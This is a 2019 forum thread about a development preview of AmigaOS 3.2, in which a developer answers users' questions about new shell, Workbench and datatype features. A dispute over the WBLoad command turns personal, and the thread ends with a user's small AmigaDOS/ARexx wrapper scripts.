I refered to the possible clash with already existing version numbers, e.g. for OS4+, which is v50 i believe?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 19, 2019, 07:06:38 PM
I refered to the possible clash with already existing version numbers, e.g. for OS4+, which is v50 i believe?
Don't you think that this is a bit too early to make such decisions? This would be part of a product policy, and certainly to be decided at management level. I can think of three alternatives:

*) skip the v50 numbers and continue with numbers above what Os 4.x left behind, then possibly interleaving numbers between the PPC and the 68K product line. (Will there be a PPC product line? I do not know.)

*) Extend the 68K API by so much that we get a common API between the PPC and the 68K line.

*) Ignore the issue, knowing that programs for PPC will not run on 68K anyhow.

But, one way or another, I cannot make such decisions.
Title: Re: Os 3.2 development preview
Post by: kolla on October 19, 2019, 09:18:56 PM
Shell now has the ability to have a partial name of a program or path
autocompleted using the TAB key.
Configurable? Context aware? Programmable? Cycling? Is one character enough?

Quote
We have a new shell built-in command called "history" that lists the
contents of the Shell history buffer with the help of the cursor keys.
For many this sounds like a scrollback buffer, which it is not - it's the command line history.

Quote
We also added the && operator that first executes the first command,
and if this fails, it aborts. If not, it executes the second command.
Why? Isn't this rather redundant as one can use "If not WARN" instead? Also, just two commands, or can you make a long list of commands separated by &&? And, when you have this kind of "AND", where is "OR"?

Quote
Error handling has been improved. We have a functional stderr. So we
can specifically redirect error streams when using the shell.
Great - and how do one redirect from stdout to stderr and vice versa?

Quote
There is now also a way to debug commands being executed from the
shell by using the serial port.

Super - though it sucks for those systems that don't have serial port, because "who in this day and age need that?" :)

Quote
The bootmenu got two new checkmark options that reflect on the
behaviour of the shell, and make its advanced options much more simple
to use.
So a new kickstart? What kind of behaviour?
Could early startup please get tab/shift+tab/enter/esc support for easier navigation with keyboard?

Quote
The ReAction GUI toolkit does a successful comeback, but now with
extended functionality and an array of bug fixes never seen before.

Because fixing bugs that had already been fixed would be awkward :)

Quote
Due to popular demand, the new intuition.library that allows you to
move windows out of the screen is now built-in by default, that said,
we added an optional fall-back method for those who still use the
unmaintained CyberGraphX RTG system.

Good - I see IControl is updated. This also suggest that there is a new kickstart.

Quote
Intuition has the ability to allow windows to be iconified and hidden
and this has been implemented in Workbench programs. An iconification
gadget will be visible to the left of the zoom gadget for this purpose.

What will this gadget do if Workbench is not loaded? Will it even be visible?

Quote
You can find scalable gadtools GUIs in most of the Workbench programs.
This means that they have become font sensitive, and properly adjust
to different font sizes. So you are no longer forced to use the default
topaz font on them anymore.
And which font in Font prefs is used? Same as for Window and Screen titles? Or has this been fine masked a little?

Quote
IControl now toggles on/off the out of the screen window dragging
abilities of the newly built-in intuition.library.
Yay.

Quote
Workbench prefs enables you to customise the text present in the
title bar on the Workbench screen.
Still not possible to hide "NDOS" or other non-validated filesystem devices, like the Ghostbuster patch does?

Quote
DefIcons is a program that attempts to identify different file types
and depending on its own configuration, it will apply a default icon
with an associated action to each of them.
Configurable file type definitions?

Quote
The RAM-Disk now supports "external hardlinks" and its purpose is
to integrate env-handling features into RAM, and avoid unnecessary
copying of files. This saves memory and makes the system boot
marginally faster.

Without any way of identifying such magic symlinks, I find this an obscurity.
Will be fun to play around with and see how one can confuse and break it though.

Quote
The datatype system has been improved: there is a new BMP datatype
that manages Windows/OS2 bitmap images, and an improved text datatype
with search functionality built-in.
Good, though I cannot recall ever using the BMP datatype and would rather see WebP datatype. Does search also work in amiga guides? Can it be programmed in document to do something else than search for text in a guide, for example to trigger a remote search on aminet?

Quote
Input.device can now properly manage multiple input events
appropriately, and this essentially means better support for USB
solutions that are aware of this.
Well, who saw that coming - input.device was perfect already for this, someone insisted :rolling eyes:

Quote
You will also find several fixes, optimizations and updates that cover
nearly all AmigaOS components, and a few other minor features that are
properly addressed in our FAQ.

Will the Workbench "Find" be "populated" again? Will "Execute command" in Workbench have a history as well? Will there be something akin to RAWBInfo again?
Title: Re: Os 3.2 development preview
Post by: kolla on October 19, 2019, 09:48:06 PM
And another thing - Ed and More could work better together, so that Ed doesn’t open a new window on Workbench when invoked from inside More, but rather use the same console window. I suppose this is due to limitations in console though.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 19, 2019, 10:44:46 PM
@Thomas Richter
thanx for your response.
I'd like to suggest a feature. Can you add a tool/functionality that shows which program holds a lock onto a file or directory saving the afore mentioned from being altered/deleted?
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 20, 2019, 05:21:55 AM
Will the new Datatype system still be compatible with older datatypes like Warp and AK or will it require the developers to update them?
The datatypes system did not change in 3.1.4, and there are no interface changes planned for 3.2.

I was referring to Gulliver's statement that "The datatype system has been improved". I was wondering if those improvements would cause any problems with older datatypes. Improvements is a bit vague so was looking for a little more explanation.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 20, 2019, 07:27:47 AM
I was referring to Gulliver's statement that "The datatype system has been improved". I was wondering if those improvements would cause any problems with older datatypes. Improvements is a bit vague so was looking for a little more explanation.
I'm not quite sure what this statement refers to. What we did certainly improve were a couple of datatypes. AddDataTypes (the Shell command) had a bug we fixed which may led to programs trying to identify datatypes to read from invalid memory, the picture.datatype had a bug that did not allow other datatypes using it under certain situations (unexpected call order caused problems), the bmp.datatype is again part of the distribution and has improved a lot (OS/2 bitmaps, compressed bitmaps, true-color bitmaps, bitmaps with transparency are all supported now), and the text datatype has improved a lot, even beyond what is available in Os.4 (searching in the text, and a refresh bug of the Os 4 version was fixed). There is also a bug fix in the ascii datatype concerning one missing CSI sequence (CSI27m) which was not interpreted.

But the overall infrastructure did not change.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 20, 2019, 07:32:11 AM
I'd like to suggest a feature. Can you add a tool/functionality that shows which program holds a lock onto a file or directory saving the afore mentioned from being altered/deleted?
No, because the operating system does not collect such information. Locks are stored individually by the file system, so there is in general no externally acccessible list of them, and there is neither a list of programs which originally obtained these locks. It would also be unhelpful or at least confusing as locks are - as always in AmigaOs - resources that can (and are) shared between processes. It is rather typical that process A obtains a lock (e.g. the current directory) and passes it over to process B. For example, all the locks corresponding to icons a workbench-run program receives are obtained by the workbench, but passed over to the actual program.

There is no Os infrastructure to record this "passing over", so the file system does actually not know who is supposed to unlock a lock.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 20, 2019, 08:56:57 AM
Configurable?
On or off.

Context aware?
Yes.


Programmable?
No.

Cycling?
Yes.

Is one character enough?
Zero characters are enough.

For many this sounds like a scrollback buffer, which it is not - it's the command line history.
Yes.

Why? Isn't this rather redundant as one can use "If not WARN" instead?
There is no "or". || is output concatenation. && is sequencing. It is most useful in pipe constructions.


Great - and how do one redirect from stdout to stderr and vice versa?
Same as you always did. Without any other activities, stderr goes to stdout. *> redirects stderr.  *<> redirects stderr to stdout, *>> appends stderr. The shell syntax did not change, only the commands did (and the dos.library did) to make consistent use of stderr.


Super - though it sucks for those systems that don't have serial port, because "who in this day and age need that?" :)
There is a new ROM component for this in the planning which collects information that would otherwise go to the serial port and redirects this to a file in RAM:syslog. This would also collect data from tools like MuForce.


So a new kickstart? What kind of behaviour?
A new bootmenu. One check mark enables/disables ROM updates (to have a fallback in case an update is corrupt) the other enables the interactive shell for startup-sequence debugging.


Good - I see IControl is updated. This also suggest that there is a new kickstart.
There is an option for a new kickstart. As for 3.1.4., you can update by LoadModule, or update by a new ROM.


What will this gadget do if Workbench is not loaded? Will it even be visible?
What the gadget does and whether it appears is up to the program. It just sends an IDCMP. For the programs that come with the Os, the icon does not appear if intuition does not have it (for cgfx users) or the workbench is not loaded.

And which font in Font prefs is used? Same as for Window and Screen titles? Or has this been fine masked a little?
The system default font, unless the window doesn't fit on the screen, in which case it falls back to topaz.8.


Still not possible to hide "NDOS" or other non-validated filesystem devices, like the Ghostbuster patch does?
No. Otherwise, you won't be able to format unformatted disks.


Configurable file type definitions?
Yes.

Good, though I cannot recall ever using the BMP datatype and would rather see WebP datatype.
Then implement one, because I won't. WebP is too heavy-weight for Amiga.

Does search also work in amiga guides?
Amigaguide did not change. It is not HTML.

Can it be programmed in document to do something else than search for text in a guide, for example to trigger a remote search on aminet?
No.

Will the Workbench "Find" be "populated" again?
If you have WBFind installed, it is. That does not change. The workbench itself does not have a global find, it requires an external component for that.


Will "Execute command" in Workbench have a history as well?
No.

Will there be something akin to RAWBInfo again?
Maybe.
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 20, 2019, 11:23:29 AM
Will the new Datatype system still be compatible with older datatypes like Warp and AK or will it require the developers to update them?
The datatypes system did not change in 3.1.4, and there are no interface changes planned for 3.2.
I was referring to Gulliver's statement that "The datatype system has been improved". I was wondering if those improvements would cause any problems with older datatypes. Improvements is a bit vague so was looking for a little more explanation.

If it sounds a bit vague to you, then I will change the wording so that I avoid any confusion.

Thanks
Title: Re: Os 3.2 development preview
Post by: kolla on October 20, 2019, 01:26:11 PM
I never heard of anyone using the Ghostbuster patch having problems formatting devices... ??

It is a useful option for those cases when more handlers/filesystem definitions are used for the same device and unit, for example I have both CD0 and SD0 in devs:dosdrivers, and depending on whether it’s a cd drive or sd card attached to the second IDE unit, one of them show up and the other is hidden from workbench.
Title: Re: Os 3.2 development preview
Post by: kolla on October 20, 2019, 02:55:12 PM
Why? Isn't this rather redundant as one can use "If not WARN" instead?
There is no "or". || is output concatenation. && is sequencing. It is most useful in pipe constructions.
I know there is no "or", what I am asking is if "&&" is now an "and".

Are these equivalent?
Code: [Select]
command1 && command2 && command3vs
Code: [Select]
command1
if not warn
  command2
  if not warn
    command3
  endif
endif

Quote
Great - and how do one redirect from stdout to stderr and vice versa?
Same as you always did. Without any other activities, stderr goes to stdout. *> redirects stderr.  *<> redirects stderr to stdout, *>> appends stderr. The shell syntax did not change, only the commands did (and the dos.library did) to make consistent use of stderr.
Hm, I have had troubles with this before due to inconsistent implementations - I don't recall exactly, but a work-around with v46 (iirc) was using "( command ) > file" instead of "command > file"

Quote
And which font in Font prefs is used? Same as for Window and Screen titles? Or has this been fine masked a little?
The system default font, unless the window doesn't fit on the screen, in which case it falls back to topaz.8.
Meh, so same font will be used for just about everything except Workbench icons (a font setting that really should be in Workbench prefs) and console windows (ViNCEd use its own font settings though). I wish for more "fine grained" settings, as I want to use a smaller font for GUI/gadgets/requesters etc than I use for window title bars and screen title bar. Oh well.

Quote
Still not possible to hide "NDOS" or other non-validated filesystem devices, like the Ghostbuster patch does?
No. Otherwise, you won't be able to format unformatted disks.
As mentioned, I never had a problem formatting anything because of this... it's as if you never tried the Ghostbuster commodity and its Workbench prefs replacement, and hence do not really know how it is used.

Quote
Does search also work in amiga guides?
Amigaguide did not change. It is not HTML.
I just asked if is possible to search in Amigaguide files, I never said anything about HTML - why do you bring up HTML??
Quote
Will the Workbench "Find" be "populated" again?
If you have WBFind installed, it is. That does not change. The workbench itself does not have a global find, it requires an external component for that.
I take that as a "No", and I never ever heard of a "WBFind".
Title: Re: Os 3.2 development preview
Post by: paul1981 on October 20, 2019, 07:44:52 PM
@kolla
"Super - though it sucks for those systems that don't have serial port, because "who in this day and age need that?" :)"

That's like saying Amiga - Who in this day and age needs that? :)
Title: Re: Os 3.2 development preview
Post by: kolla on October 21, 2019, 05:47:38 AM
@kolla
"Super - though it sucks for those systems that don't have serial port, because "who in this day and age need that?" :)"

That's like saying Amiga - Who in this day and age needs that? :)

I agree - I use serial port literally all the time - as that's where the console for the raspberry pi is :)
Title: Re: Os 3.2 development preview
Post by: Tygre on October 21, 2019, 11:01:48 PM
I’m not publishing jack, any dumbass “expert” can do this themselves, the masses can follow your pipe.
So, why don't you? Let other people make the work, and then complain about the results? Yes, I know that's easier, but it's not very helpful. Try to be a bit positive and contribute. I'm serious.

Then Kolla would not be Kolla ;D

More seriously, there has been many great questions/answers in this thread (and elsewhere), maybe they should be all put together in some kind of FAQ somewhere?
Title: Re: Os 3.2 development preview
Post by: matt020 on October 22, 2019, 01:56:43 PM
Hi,

Lots of pages to read here, my appologies if this has been covered already.

Is this an upgrade/update to Workbench 3.1, or to 3.1.4?
What ROM will be required to run OS 3.2, and will there be a Kickstart 3.2 ROM?

Cheers.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 22, 2019, 07:01:28 PM
Is this an upgrade/update to Workbench 3.1, or to 3.1.4?
Will work on top of both.

What ROM will be required to run OS 3.2, and will there be a Kickstart 3.2 ROM?
As for 3.1.4, there will likely be a ROM option.
Title: Re: Os 3.2 development preview
Post by: CBH on October 22, 2019, 07:13:53 PM
(Will there be a PPC product line? I do not know.)

In itself that's quite a bold statement for a developer of a hyperion product. I'm glad I never moved away from the 68k.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 23, 2019, 07:34:21 AM
In itself that's quite a bold statement for a developer of a hyperion product. I'm glad I never moved away from the 68k.

No, it just means what I said: "I don't know". Nothing more, nothing less.
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 23, 2019, 10:22:43 AM
More seriously, there has been many great questions/answers in this thread (and elsewhere), maybe they should be all put together in some kind of FAQ somewhere?

I have been continuously writing and improving a FAQ for 3.2 since 11 months by now.

And it is still getting more content, as questions are asked and features are added.

The FAQ will be publicly available when AmigaOS 3.2 gets ready for release.
Title: Re: Os 3.2 development preview
Post by: kolla on October 23, 2019, 10:37:30 AM
I’m not publishing jack, any dumbass “expert” can do this themselves, the masses can follow your pipe.
So, why don't you? Let other people make the work, and then complain about the results? Yes, I know that's easier, but it's not very helpful. Try to be a bit positive and contribute. I'm serious.
Then Kolla would not be Kolla ;D

Well, this is the "development model" chosen by Hyperion and Thomas here, they could have done it differently so that it would be easier to participate and contribute without being dragged into silly non-disclosure nonsense.

I am coming back to WBLoad... let's see what the FAQ says:

Quote
7.5 * What does the new WBLoad command located in C: actually do?

It is a sort of replacement for the more known WBRun command. It loads
Workbench programs from the CLI/Shell. However, it does not require
the Workbench. Hence, it is safe to use in the Startup-Sequence before
LoadWB, and it operates synchronously, i.e. it does not return until
the started program returns. If this bothers you, place an "&" as the
last argument to the program.

Well, we have now learnt that it is not a "sort of replacement" for WBRun, as they are very different tools that have different goals and purposes. WBLoad is _only_ for opening programs that for some weird reason cannot be opened from CLI directly - personally I don't even know of any such program (and I would find such a program that only can be launched from Workbench to be rather broken). If it at least could open files/drawers that have "project" type icons and an associated default tool, I could see some use for it. Secondly, it does not return until the started program returns, not sure why this is a feature, but perhaps if you have some obscure (broken) program that you insist on puttin in startup-sequence, and you don't want to continue startup-sequence until user has exited.... It also does not pass on ctrl-signals to the program that is started, even when those programs accept ctrl-signals themselves...  bug, lacking feature, who knows. Thirdly - does it even care about the associated .info file? Does it take tooltypes etc into account when starting programs? I admit I have not tested... but I am not be surprised if it does not. Meh... pfew...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 23, 2019, 11:02:17 AM
Well, this is the "development model" chosen by Hyperion and Thomas here, they could have done it differently so that it would be easier to participate and contribute without being dragged into silly non-disclosure nonsense.
This development model (which is a rather standard model for software, actually) is also due to some "users". Does this development model stop you from creating programs yourself right now, from developing? From publishing? If things would be "open" (in your definition), would you contribute any more than you do now? (And no, "complaining" is not contribution). Would it make any difference from you whether the Os sources would be accessible for you? If so, why? What does the current model stop you from doing right now you would be able to do otherwise?

I said this again: If you want a WBRun that works different from WBLoad, go ahead, write one and contribute. It does not matter whether it is distributed along with the Os. You can distribute it yourself, stay away from Hyperion (hopefully stay away from me), and just be happy.

Instead of contributing to the solution, you stick around, spread bad mood, complain, keep naging, and otherwise.... do nothing.

WBLoad is _only_ for opening programs that for some weird reason cannot be opened from CLI directly - personally I don't even know of any such program (and I would find such a program that only can be launched from Workbench to be rather broken).
No, it is for programs where you put parameters into icons as tooltypes, and you want to pass over exactly these arguments in the tooltypes to the program run, and not use the CLI parsing branch of the program. Thus, where you must ensure that the program behaives exactly as if double clicked from the workbench.


If it at least could open files/drawers that have "project" type icons and an associated default tool,
Which it does. So, you haven't tried. See what I mean by "users"?

Secondly, it does not return until the started program returns, not sure why this is a feature, but perhaps if you have some obscure (broken) program that you insist on puttin in startup-sequence, and you don't want to continue startup-sequence until user has exited....
It can. Put a "&" as last argument. Oh, that's an "obscure" shell feature? Nevermind, it does work.

It also does not pass on ctrl-signals to the program that is started, even when those programs accept ctrl-signals themselves...
Since when do workbench programs care about ^C? You can send them a signal if you want.


bug, lacking feature, who knows.
I know. You troll.

Thirdly - does it even care about the associated .info file?
If you ask this question, you don't know how WBStartup works.

I admit I have not tested... but I am not be surprised if it does not. Meh... pfew...
No, you haven't. You just come around trolling, complaining, not willing to contribute in any particular form.... Kolla, you are a shame for this "Community", and you are one of the top reasons why any form of "open development model" is a very bad idea.

Seriously, sit on your bottom, and write programs yourself. Help, contribute, then you are entitled to criticize because you've proven that you can do better. Actually, all you show is "I don't care, I don't want to do better, I just want to complain".

What's just wrong with you? Do you enjoy complaining instead of doing?
Title: Re: Os 3.2 development preview
Post by: CBH on October 23, 2019, 02:44:30 PM
In itself that's quite a bold statement for a developer of a hyperion product. I'm glad I never moved away from the 68k.

No, it just means what I said: "I don't know". Nothing more, nothing less.

If there was going to be a 4.2 you'd know for sure. It's normal to always expect that there will be a new version of a successful OS, if there's any room for "not knowing" it can only be for bad reasons.

Imagine if we could've skipped the PPC misadventure. We could've had 3.1.4 or equivalent 18 years ago. Are you getting paid this time around?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 23, 2019, 03:14:24 PM
If there was going to be a 4.2 you'd know for sure.
No, I wouldn't. Simply because I don't really care, and I don't look there - there is too much to do anyhow. So please don't read more into this than I said, it can be good, it may be bad - I simply don't bother.
Title: Re: Os 3.2 development preview
Post by: kolla on October 23, 2019, 05:28:36 PM
If things would be "open" (in your definition), would you contribute any more than you do now?

Yes, I would.

Quote
Would it make any difference from you whether the Os sources would be accessible for you?

Yes, it would make a big difference.

Quote
If so, why?

Because sources are often where one find the best documentation. Because with sources available one can actually read what the code is supposed to do. Because with sources available one can alter them, build, test out, debug etc, and potentially improve the code and submit patches. Most important though - and I am sure you would not approve - is that would allow regular users to build and share "special versions" among each other, and allow fixes to be dealt with swiftly, instead of having to wait months/years for updates that may or may not include fixes for the bugs I (and others) are struggling with.

Quote
What does the current model stop you from doing right now you would be able to do otherwise?
The current model prevents me from having any clue what bugs are known and which bugs are not, or even know what is bug and what intended feature, as both changelogs and list over known bugs are kept "secret".

Quote
and just be happy.

Who says I am not happy? I am happy, Amiga is just a hobby, and if there was less to complain about regarding the OS development, I would happily complain less - but the things way are now, there is just so much... nonsense... going on.

Quote
Instead of contributing to the solution, you stick around, spread bad mood, complain, keep naging, and otherwise.... do nothing.

Well, you know what? Complaining, nagging etc has proven be to be most effective method of getting useful information. Yeah, it's a sad thing.
Quote
WBLoad is _only_ for opening programs that for some weird reason cannot be opened from CLI directly - personally I don't even know of any such program (and I would find such a program that only can be launched from Workbench to be rather broken).
No, it is for programs where you put parameters into icons as tooltypes, and you want to pass over exactly these arguments in the tooltypes to the program run, and not use the CLI parsing branch of the program. Thus, where you must ensure that the program behaives exactly as if double clicked from the workbench.

Again, you write "program", and yes, for exactly that, it works.

Quote
If it at least could open files/drawers that have "project" type icons and an associated default tool,
Which it does. So, you haven't tried. See what I mean by "users"?

I have tried, and it did not work...
(http://kolla.no/wbload.png)
So it is supposed to work, you say....well after some testing I can say that it _only_ works if default tool is specified with full path - it doesn't care about shell path, and it doesn't care about workbench path - it only uses current directory as path. Where is this documented? Guess I just reported another bug, then... ouch, that was unintended.

Quote
Secondly, it does not return until the started program returns, not sure why this is a feature, but perhaps if you have some obscure (broken) program that you insist on puttin in startup-sequence, and you don't want to continue startup-sequence until user has exited....
It can. Put a "&" as last argument. Oh, that's an "obscure" shell feature? Nevermind, it does work.
Well, I prefer to stick with old "run >NIL:" which one can rely on, regardless of which broken version of Amiga shell that is used. But I still don't understand _why_ it should not detach by itself - by not detaching, it suggest that one can do something useful with the input, but nothing is described, and it doesn't handle ctrl-signals... so what is the point of not detaching?
Quote
It also does not pass on ctrl-signals to the program that is started, even when those programs accept ctrl-signals themselves...
Since when do workbench programs care about ^C? You can send them a signal if you want.

Well, don't just about all programs that ship with Workbench care about ctrl-c? All prefs programs, all commodities, tools like multiview etc.

Quote
bug, lacking feature, who knows.
I know. You troll.

In most cases, it looks like you are the only one who knows, even people like Gulliver more often than not, does not know and must check with you.
 
Quote
Thirdly - does it even care about the associated .info file?
If you ask this question, you don't know how WBStartup works.

WBStartup? Or did you mean WBLoad?
WBStartup cares about tooltypes like DONOTWAIT and WAIT - imagine if WBLoad could support those too, _that_ would actually have been useful - DONOTWAIT would detach, and WAIT, if present, could be used to specify for how long to wait before detaching. Consider this a feature request... oh now, I did again - sorry, not my intention to contribute with constructive criticism and ideas - I am really just here to whine!
Quote
I admit I have not tested... but I am not be surprised if it does not. Meh... pfew...
No, you haven't.
And I admitted it, it was the one example I took reservation with.
Quote
You just come around trolling, complaining, not willing to contribute in any particular form.... Kolla, you are a shame for this "Community", and you are one of the top reasons why any form of "open development model" is a very bad idea.
So you are saying that *I* am the number one reason why keep the development model as it is? Wow, I am flattered!

Quote
Seriously, sit on your bottom, and write programs yourself. Help, contribute, then you are entitled to criticize because you've proven that you can do better. Actually, all you show is "I don't care, I don't want to do better, I just want to complain".

What's just wrong with you? Do you enjoy complaining instead of doing?

Dr. Thomas is at it again? Why can you not stick to the topic instead of going on rants with personal attacks and asking suggesting questions? For the your information, nothing is wrong with me, I am also not complaining for the sake of complaining, you just take any sort of criticism of the product as a personal attack against yourself.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 23, 2019, 06:13:53 PM
Because sources are often where one find the best documentation.
This is exactly the reason why opening sources is a *bad* idea in Amiga land. The average amiga programmer does not know the difference between an *interface* and its *implementation*. Too many things in Amiga-land already depend on implementation details rather than interface definition. And, face it, WBRun only requires publically available, documented interfaces, so absolutely nothing stops you from writing it.

Software is already bad enough. Don't make it worth by confusing the source with the specs. I've lived for years without access to the sources and could write programs. Guess you could write WBRun without Os sources either (besides, the workbench source is not particularly readable, nor helpful, for that matter).

Most important though - and I am sure you would not approve - is that would allow regular users to build and share "special versions" among each other, and allow fixes to be dealt with swiftly, instead of having to wait months/years for updates that may or may not include fixes for the bugs I (and others) are struggling with.
And "special versions" are exactly what I am afraid of. More incompatibility. Yay, what an improvement!

The current model prevents me from having any clue what bugs are known and which bugs are not, or even know what is bug and what intended feature, as both changelogs and list over known bugs are kept "secret".
Oh, and that is why I have a thread here where I post the bugs we fixed? There is no attempt to make them secret, but there is neither an attempt to slow down development by pushing every little detail into the public.

Again, you can have access to the bug database if you are willing to help. If you want to nag - no, thank you, that is unhelpful and does not move us on.

Well, you know what? Complaining, nagging etc has proven be to be most effective method of getting useful information. Yeah, it's a sad thing.
The most useful information you find in a thread like this. If I see a bug, and receive a bug, it goes to the bug database, and it will be fixed, sooner or later. If you want closer interaction, you need to join the party. You don't want that - well, then that's your decision, but don't blame me for your decision. That's how it works.

Besides, you would be toxic to any kind of development team, just to mention...

I have tried, and it did not work...
If there is no icon, the program cannot be run, as simple as that. If the default tool is not found under the location that is recorded in the icon, the program fails, too. That is not different from the workbench. If a program has no icon and you attempt to run it from the workbench, the workbench rather simulates a "CLI startup" for the program. Since that does not make sense - just start the program from CLI in first place if you need to do so - WBLoad aborts.

Yes, it is really that simple.

Well, I prefer to stick with old "run >NIL:" which one can rely on, regardless of which broken version of Amiga shell that is used.
In which version was & broken please?

But I still don't understand _why_ it should not detach by itself - by not detaching, it suggest that one can do something useful with the input, but nothing is described, and it doesn't handle ctrl-signals... so what is the point of not detaching?
I still do not understand why it is needed. So, there you go. Two opinions. You are entitled to your own one, of course, but then, it's up to you to provide a program that does what *you* want, that is certainly fine.

WBStartup cares about tooltypes like DONOTWAIT and WAIT - imagine if WBLoad could support those too, _that_ would actually have been useful - DONOTWAIT would detach, and WAIT, if present, could be used to specify for how long to wait before detaching. Consider this a feature request... oh now, I did again - sorry, not my intention to contribute with constructive criticism and ideas - I am really just here to whine!
Yes, you are. If you had formulated a feature request, in proper form, I may have considered. But you did not. Instead, you come along and complain... "Waaa, why doesn't it do like I want... waaaa.". Do you actually notice a difference between your and posts from civilized people?

So you are saying that *I* am the number one reason why keep the development model as it is? Wow, I am flattered!
Yes, a prime reason. With people like you around, everything *you* don't like would have been discussed about endlessly, trolling all the way, there would be no progress, just whining and complaining. Thank you, but I believe we're moving faster without that. Things may not be how *you* want them, but hey, satisfying *you* is not the point. There are compromises to be made, and such things you better discuss with a couple of sane folks.

Dr. Thomas is at it again? Why can you not stick to the topic instead of going on rants with personal attacks and asking suggesting questions?
Because I'm really sick and fed up with personalities like you, that is why. Unwilling to help, unwilling to accept anything that is not to their personal liking, unwilling to accept explanations and unwilling to contribute. Is this sufficient? Besides, proper title would be Dr. Richter. Yes, I do have a PhD, thank you.

If you have bugs to report, here I am. Report them, just state "here is a bug I found..." good. Helpful. Feature request: "Please add feature XYZ, I need it for ABC"
If you want to nag... "Waaa, WBRun is so much better, waa..." Oh the heck, just leave. I've better things to do.
Title: Re: Os 3.2 development preview
Post by: kolla on October 23, 2019, 06:53:21 PM
You really have a hard time staying on topic.

WBLoad does not respect path and only searches current directory for default tool when the argument file has an associated .info file with "project" as type. SnoopDOS confirms this. If I only use "Multiview" as default tool, Workbench will open the file with Multiview, but WBLoad will only open the file if I first CD to SYS:Utilities - paths be damned.

Title: Re: Os 3.2 development preview
Post by: Orphan264 on October 23, 2019, 06:59:26 PM
You really have a hard time staying on topic.

The topic is OS 3.2 Development Preview.
PLEASE.
PLEASE.
PLEASE.
Title: Re: Os 3.2 development preview
Post by: kolla on October 23, 2019, 07:26:04 PM
The topic is OS 3.2 Development Preview.

Exactly. Please look back at the thread and see how it derailed. There is an expression "don't feed the trolls", but Thomas keeps feeding me with questions, some rhetoric, some not, knowing well that he will use the answers only for one purpose - "troll feeding" (with the hopes he can get me banned?).

Regarding WBLoad, one can hope the FAQ is updated to reflect the reality.

Quote
It is a sort of replacement for the more known WBRun command.
vs. developer saying
Quote
I don't think it is "the new WBRun". It was never supposed to be.
Title: Re: Os 3.2 development preview
Post by: Orphan264 on October 23, 2019, 07:29:09 PM
Please. I beg you.

Please.
Title: Re: Os 3.2 development preview
Post by: Tygre on October 23, 2019, 07:54:25 PM
Exactly. Please look back at the thread and see how it derailed. There is an expression "don't feed the trolls", but Thomas keeps feeding me with questions, some rhetoric, some not, knowing well that he will use the answers only for one purpose - "troll feeding" (with the hopes he can get me banned?).

@kolla, you have been nagging and complaining in bad faith. Now, you try to blame Thomas. What you do si actually called bait and switch (https://brainspeak.com/defeating-psychological-bait-switch/).

You don't contribute because you could never stand 1% of the amount of critiscism to which you subject Thomas' (and others?) works, who actually contribute something.

You are the troll.

STOP.
Title: Re: Os 3.2 development preview
Post by: F1Lupo on October 23, 2019, 09:40:31 PM
Exactly. Please look back at the thread and see how it derailed. There is an expression "don't feed the trolls", but Thomas keeps feeding me with questions, some rhetoric, some not, knowing well that he will use the answers only for one purpose - "troll feeding" (with the hopes he can get me banned?).

@kolla, you have been nagging and complaining in bad faith. Now, you try to blame Thomas. What you do si actually called bait and switch (https://brainspeak.com/defeating-psychological-bait-switch/).

You don't contribute because you could never stand 1% of the amount of critiscism to which you subject Thomas' (and others?) works, who actually contribute something.

You are the troll.

STOP.
+1
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 12:19:15 PM
Here is the extremely mundane work-around I wrote... beware, it will format your hard drives.

Code: [Select]
; $VER: WBLoad 45.5 (23.10.2019)
.key PROG/A,ARGS/M
.bra [
.ket ]

Status com=Workbench >NIL:
If WARN
  WBLoad.bin [PROG] [ARGS]
Else
  WBRun.bin [PROG] [ARGS]
EndIf
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 01:19:30 PM
Since I'm in a meeting, I fixed the script to use arexx instead of a wbrun binary, and renamed it wbrun - not implemented all the extra features of wbrun (delay, viewby, show etc).

Code: [Select]
; $VER: WBRun 45.8 (24.10.2019)
.key PROG/A,ARGS/M
.bra [
.ket ]

Status com=Workbench >NIL:
If WARN
  WBLoad [PROG] [ARGS]
Else
  RX "ADDRESS Workbench WINDOW '[PROG]' OPEN"
EndIf
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 02:00:23 PM
And now this is there too - WBLoad should just do this on its own.
Code: [Select]
; $VER: WBRun 45.9 (24.10.2019)
.key PROG/A,ARGS/M,DELAY/N/K,SHOW/K,VIEWBY/K
.bra [
.ket ]

If NOT "[DELAY]" EQ ""
  Wait [DELAY]
EndIf

Status com=Workbench >NIL:
If WARN
  WBLoad [PROG] [ARGS]
Else
  RX "ADDRESS Workbench WINDOW '[PROG]' OPEN"
  If NOT "[SHOW]" EQ ""
    RX "ADDRESS Workbench MENU WINDOW '[PROG]' WINDOW.SHOW.[SHOW]"
  EndIf
  If NOT "[VIEWBY]" EQ ""
    RX "ADDRESS Workbench MENU WINDOW '[PROG]' WINDOW.VIEWBY.[VIEWBY]"
  EndIF
EndIf
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 03:55:18 PM
Btw - what C compiler(s) is OS3 development currently relying on? I ask since 68k is endangered target for gcc past release 10, and that also means cross-compiling will not work. Anyone with interests in future 68k should be worried - especially those with business tied to it.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 24, 2019, 04:15:21 PM
And now this is there too - WBLoad should just do this on its own.

Bra-vo! Now, two comments on this:

*) As a courtesy to other users, please be so kind and create an lha and a readme and upload to Aminet. Thanks.

*) As you observe from your script, the functionality of WBRun is - as said - just a one-liner in Rexx. I hope you understand now better why I consider WBRun as program as rather low value. Even an alias would be able to replace it.


Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 24, 2019, 04:17:05 PM
There is a donation campaign going on to fund updating of gcc to allow further support of the 68k platform. if just a few more people chip in some bucks, it will happen.

